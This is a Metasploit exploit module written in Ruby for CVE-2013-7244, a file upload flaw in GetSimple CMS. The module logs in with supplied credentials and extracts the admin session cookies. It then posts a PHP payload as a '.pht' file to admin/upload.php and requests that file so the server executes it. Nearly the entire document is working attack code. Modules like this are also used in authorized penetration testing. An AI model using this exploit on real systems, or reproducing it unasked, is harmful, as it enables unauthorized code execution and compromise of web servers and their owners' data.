##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
 
require 'msf/core'
require 'msf/core/exploit/php_exe'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'GetSimpleCMS PHP File Upload Vulnerability',
            'Description'    => %q{
                    This module exploits a file upload vulnerability found in GetSimple CMS
                By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
                directory, which results in arbitrary code execution.
            },
            'Author'         =>
                [
                    'Ahmed Elhady Mohamed' # @kingasmk
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['CVE', 'CVE-2013-7244'] ,
		            ['Website', 'www.1nfosec4all.blogspot.com']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 04 2014'))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) ,
                OptString.new('User', [true, 'The username that will be used for authentication process', '']) ,
		OptString.new('Pass', [true, 'The right password for the provided username', '']) ,
		OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/'])
            ], self.class)
    end


	def authenticatePrcoss(peer, uri)
		data_post = "userid=#{datastore['User']}&pwd=#{datastore['Pass']}&submitted=Login"
		
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}admin/index.php",
			'data'   => data_post
			})
			
		if res.code == 404 or res.code == 400
			print_error("#{peer} - Error - URI Path is Not Correct - Page Not Found!")
			return
		end
		
		if res.code == 200
			print_error("#{peer} - Error - User Credentials are Wrong, aborting!")
	        return
       	end
        
		return res
	end


    def getCookiesValues(res)

		setCookieValues = res.headers['Set-Cookie']
		firstCookieName =setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][0]
		firstCookieValue  = setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][1]
		
		secondCookieName = "GS_ADMIN_USERNAME"
		secondCookieValue = setCookieValues.scan(/(.*)=(.*); expires=.* GS_ADMIN_USERNAME=(.*); expires=.* GS_ADMIN_USERNAME=.*/)[0][2]
		cookieHttpHeader = "#{firstCookieName}=#{firstCookieValue}; #{secondCookieName}=#{secondCookieValue}"

		return cookieHttpHeader
    end


   
     def uploadFile(payload_name, uri, cookieHttpHeader)

			boundary = Rex::Text.rand_text_hex(7)			
			post_data = "--#{boundary}\r\n"
			post_data << "Content-Disposition: form-data; name=\"file[]\"; filename=\"#{payload_name}\"\r\n"
			post_data << "Content-Type: application/x-httpd-php\r\n\r\n"
			post_data << "<?php "
			post_data << payload.encoded
			post_data << " ?>\r\n\r\n"
			post_data << "--#{boundary}\r\n"	
			post_data << "Content-Disposition: form-data; name=\"submit\"\r\n\r\n"
			post_data << "Upload\r\n"
			post_data << "--#{boundary}--\r\n"			
			
			res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}admin/upload.php?path=",
			'cookie' => cookieHttpHeader,
			'ctype'  => "multipart/form-data; boundary=#{boundary}",
			'data'   => post_data
			})
		return res
    end 

    
    def exploit
    
		payload_name = rand_text_alpha(rand(10) + 5) + '.pht'		
		peer = "#{rhost}:#{rport}"		
		
		uri = target_uri.path
        	uri << '/' if uri[-1,1] != '/'
 
		print_status("#{peer} - Using The Provided Credentials for Authentication.")
		res = authenticatePrcoss(peer, uri)		
        	print_status("#{peer} - The authentication process is done successfully!")
		

		print_status("#{peer} - Extracting Cookies Information")
		cookieHttpHeader = getCookiesValues(res)
		uploadFile(payload_name, uri, cookieHttpHeader)
		print_status("#{peer} - Uploading #{payload_name.downcase} File.")
		print_status("#{peer} - #{payload_name.downcase} File uploaded successfully!")
		
		
		upload_dir = datastore['Upload_dir']
       	        upload_uri = "#{uri}#{upload_dir}#{payload_name.downcase}"
	        print_status("#{peer} - Executing payload #{payload_name.downcase}")
	        res = send_request_raw({
	          'uri'    => upload_uri,
	          'method' => 'GET'
	        })
	        

 end
  
end